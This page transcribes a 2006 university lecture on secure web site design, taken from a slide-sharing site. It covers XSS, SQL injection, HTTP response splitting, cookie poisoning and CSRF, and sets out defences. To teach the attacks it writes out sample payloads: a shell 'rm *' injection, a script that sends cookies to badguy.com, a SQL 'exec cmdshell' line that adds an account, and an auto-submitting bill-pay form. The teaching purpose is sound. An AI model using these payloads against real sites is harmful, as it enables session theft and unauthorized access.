1 / 42

Common Vulnerabilities in Web Application Code

Learn about common vulnerabilities in web application code, including SQL injection, form field tampering, and cookie poisoning. Explore examples of Imperva, Kavado Interdo, F5 TrafficShield, and Citrix NetScaler. Discover solutions to harden web servers and defend against worms.

larrybutler
Download Presentation

Common Vulnerabilities in Web Application Code

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Spring 2006 CS 155 Secure Web Site Design Dan Boneh

  2. Authorization Netegrity (CA) Oblix (Oracle) Schematic web site architecture WS1 Firewall Firewall ApplicationFirewall (WAF) LoadBalancer DB AppServers WS2 WS3 IDS To CCprocessor

  3. Web Application Firewalls • Prevent some attacks we discuss today: • SQL Injection • Form field tampering • Cookie poisoning • Some examples: • Imperva • Kavado Interdo • F5 TrafficShield • Citrix NetScaler • CheckPoint Web Intelligence

  4. Our focus: web app code • Common web-site attacks: • Denial of Service: later in course • Attack the web server (IIS, Apache) : • e.g. control hijacking: CodeRed, Nimda, … • Solutions: • Harden web server: stackguard, libsafe, … • Worm defense: later in course. • Host based intrusion detection, • Worm signatures generation, shields. • Today: • Common vulnerabilities in web application code

  5. Web app code • Runs on web server or app server. • Takes input from web users (via web server) • Interacts with the database and 3rd parties. • Prepares results for users (via web server) • Examples: • Shopping carts, home banking, bill pay, tax prep, … • New code written for every web site. • Written in: • C, PHP, Perl, Python, JSP, ASP, … • Often written with little consideration for security.

  6. Common vulnerabilities (OWASP) • Inadequate validation of user input • Cross site scripting • SQL Injection • HTTP Splitting • Broken session management • Can lead to session hijacking and data theft • Insecure storage • Sensitive data stored in the clear. • Prime target for theft – e.g. egghead, Verizon. • Note: PCI Data Security Standard (Visa, Mastercard)

  7. script name script input system(“cp temp.dat $name.dat”) Warm up: a simple example • Direct use of user input: • http://victim.com/ copy.php ? name=username • copy.php: • Problem: • http://victim.com/ copy.php ? name=“a ; rm *” (should be: name=a%20;%20rm%20* )

  8. Redirects • EZShopper.com shopping cart (10/2004): http://…/cgi-bin/ loadpage.cgi ? page=url • Redirects browser to url • Redirects are common on many sites • Used to track when user clicks on external link • EZShopper uses redirect to add HTTP headers • Problem: phishing http://victim.com/cgi-bin/loadpage ? page=phisher.com • Link to victim.com puts user at phisher.com  Local redirects should ensure target URL is local

  9. Cross Site Scripting

  10. The setup • User input is echoed into HTML response. • Example: search field • http://victim.com/search.php ? term = apple • search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> • Is this exploitable?

  11. Bad input • Problem: no validation of input term • Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> • What if user clicks on this link? • Browser goes to victim.com/search.php • Victim.com returns <HTML> Results for <script> … </script> • Browser executes script: • Sends badguy.com cookie for victim.com

  12. So what? • Why would user click on such a link? • Phishing email in webmail client (e.g. gmail). • Link in doubleclick banner ad • … many many ways to fool user into clicking • What if badguy.com gets cookie for victim.com ? • Cookie can include session auth for victim.com • Or other data intended only for victim.com • Violates same origin policy

  13. Even worse • Attacker can execute arbitrary scripts in browser • Can manipulate any DOM component on victim.com • Control links on page • Control form fields (e.g. password field) on this page and linked pages. • Can infect other users: MySpace.com worm.

  14. MySpace.com (Samy worm) • Users can post HTML on their pages • MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> • … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide “javascript” as “java\nscript” • With careful javascript hacking: • Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. • Samy had millions of friends within 24 hours. • More info: http://namb.la/popular/tech.html

  15. Avoiding XSS bugs (PHP) • Main problem: • Input checking is difficult --- many ways to inject scripts into HTML. • Preprocess input from user before echoing it • PHP: htmlspecialchars(string) &  &amp; "  &quot; '  &#039; <  &lt; >  &gt; • htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

  16. Avoiding XSS bugs (ASP.NET) • ASP.NET 1.1: • Server.HtmlEncode(string) • Similar to PHP htmlspecialchars • validateRequest: (on by default) • Crashes page if finds <script> in POST data. • Looks for hardcoded list of patterns. • Can be disabled: <%@ Page validateRequest=“false"  %>

  17. SQL Injection

  18. The setup • User input is used in SQL query • Example: login page (ASP) set ok = execute(“SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); If not ok.EOF login success else fail; • Is this exploitable?

  19. Bad input • Suppose user = “ ′or 1 = 1 --” (URL encoded) • Then scripts does: ok = execute( SELECT … WHERE username= ′ ′ or 1=1 -- … ) • The ‘- -’ causes rest of line to be ignored. • Now ok.EOF is always false. • The bad news: easy login to many sites this way.

  20. Even worse • Suppose user = ′exec cmdshell ′net user badguy badpwd′ / ADD -- • Then script does: ok = execute( SELECT … WHERE username= ′ ′ exec … ) If SQL server contextruns as “sa”, attacker gets account on DB server.

  21. Avoiding SQL injection • Build SQL queries by properly escaping args: ′  \′ • Example: Parameterized SQL: (ASP.NET 1.1) • Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader();

  22. HTTP Response Splitting

  23. The setup • User input echoed in HTTP header. • Example: Language redirect page (JSP) <% response.redirect(“/by_lang.jsp?lang=” + request.getParameter(“lang”) ) %> • Browser sends http://.../by_lang.jsp ? lang=french Server HTTP Response: HTTP/1.1 302 (redirect) Date: … Location: /by_lang.jsp ? lang=french • Is this exploitable?

  24. Bad input • Suppose browser sends: http://.../by_lang.jsp ? lang= “ french \n Content-length: 0 \r\n\r\n HTTP/1.1 200 OK Spoofed page” (URL encoded)

  25. Bad input • HTTP response from server looks like: HTTP/1.1 302 (redirect) Date: … Location: /by_lang.jsp ? lang= french Content-length: 0 HTTP/1.1 200 OK Content-length: 217 Spoofed page lang

  26. So what? • What just happened: • Attacker submitted bad URL to victim.com • URL contained spoofed page in it • Got back spoofed page • So what? • Cache servers along path now store spoof of victim.com • Will fool any user using same cache server • Defense: don’t do that.

  27. Summary thus far

  28. App code • Little programming knowledge can be dangerous: • Cross site scripting • SQL Injection • HTTP Splitting • What to do? • Band-aid: Web App Firewall (WAF) • Looks for attack patterns and blocks requests • False positive / false negatives • Code checking

  29. Code checking • Blackbox security testing services: • Whitehatsec.com • Automated blackbox testing tools: • Cenzic, Hailstorm • Spidynamic, WebInspect • eEye, Retina • Web application hardening tools: • WebSSARI [WWW’04] : based on information flow • Nguyen-Tuong [IFIP’05] : based on tainting

  30. Session Management Cookies, hidden fields, and user authentication

  31. If expires=NULL: this session only Cookies • Used to store state on user’s machine GET … Server Browser HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (only over SSL) Server Browser GET … Cookie: NAME = VALUE Http is stateless protocol; cookies add state

  32. Cookies • Brower will store: • At most 20 cookies/site, 3 KB / cookie • Uses: • User authentication • Personalization • User tracking: e.g. Doubleclick (3rd party cookies)

  33. Cookie risks • Danger of storing data on browser: • User can change values • Silly example: Shopping cart software. Set-cookie: shopping-cart-total = 150 ($) • User edits cookie file (cookie poisoning): Cookie: shopping-cart-total = 15 ($) • … bargain shopping. • Similar behavior with hidden fields: <INPUT TYPE=“hidden” NAME=price VALUE=“150”>

  34. Not so silly … (as of 2/2000) • D3.COM Pty Ltd: ShopFactory 5.8 • @Retail Corporation: @Retail • Adgrafix: Check It Out • Baron Consulting Group: WebSite Tool • ComCity Corporation: SalesCart • Crested Butte Software: EasyCart • Dansie.net: Dansie Shopping Cart • Intelligent Vending Systems: Intellivend • Make-a-Store: Make-a-Store OrderPage • McMurtrey/Whitaker & Associates: Cart32 3.0 • pknutsen@nethut.no: CartMan 1.04 • Rich Media Technologies: JustAddCommerce 5.0 • SmartCart: SmartCart • Web Express: Shoptron 1.2 • Source: http://xforce.iss.net/xforce/xfdb/4621

  35. Example: dansie.net shopping cart • http://www.dansie.net/demo.html (May, 2006) <FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl"> Black Leather purse with leather straps<BR>Price: $20.00<BR> <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"><INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http://www.dansie.net/demo.html"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps"> <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"> </FORM> • CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115

  36. Solution • When storing state on browser MAC data using server secret key. • .NET 2.0: • System.Web.Configuration.MachineKey • Secret web server key intended for cookie protection • HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedCookie =HttpSecureCookie.Encode(cookie); • HttpSecureCookie.Decode(cookie);

  37. POST login.cgi Username & pwd Validate user auth=val Set-cookie: auth=val Store val GET restricted.html Cookie: auth=val restricted.html auth=val If YES, restricted.html YES/NO Cookie authentication Browser Web Server Auth server Check val

  38. Weak authenticators: security risk • Predictable cookie authenticator • Verizon Wireless - counter • Valid user logs in, gets counter, can view sessions of other users. • Weak authenticator generation: [Fu et al. ’01] • WSJ.com: cookie = {user, MACk(user) } • Weak MAC exposes K from few cookies. • Apache Tomcat: generateSessionID() • MD5(PRNG) … but weak PRNG [GM’05]. • Predictable SessionID’s

  39. Cookie auth is insufficient • Example: • User logs in to bank.com. Forgets to sign off. • Session cookie remains in browser state • Then user visits another site containing: <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script> • Browser sends user auth cookie with request • Transaction will be fulfilled • Problem: • cookie auth is insufficient when side effects can happen • Correct use: use cookies + hidden fields

  40. Take home message: On the web: Little programming knowledge can be a dangerous thing

  41. THE END

More Related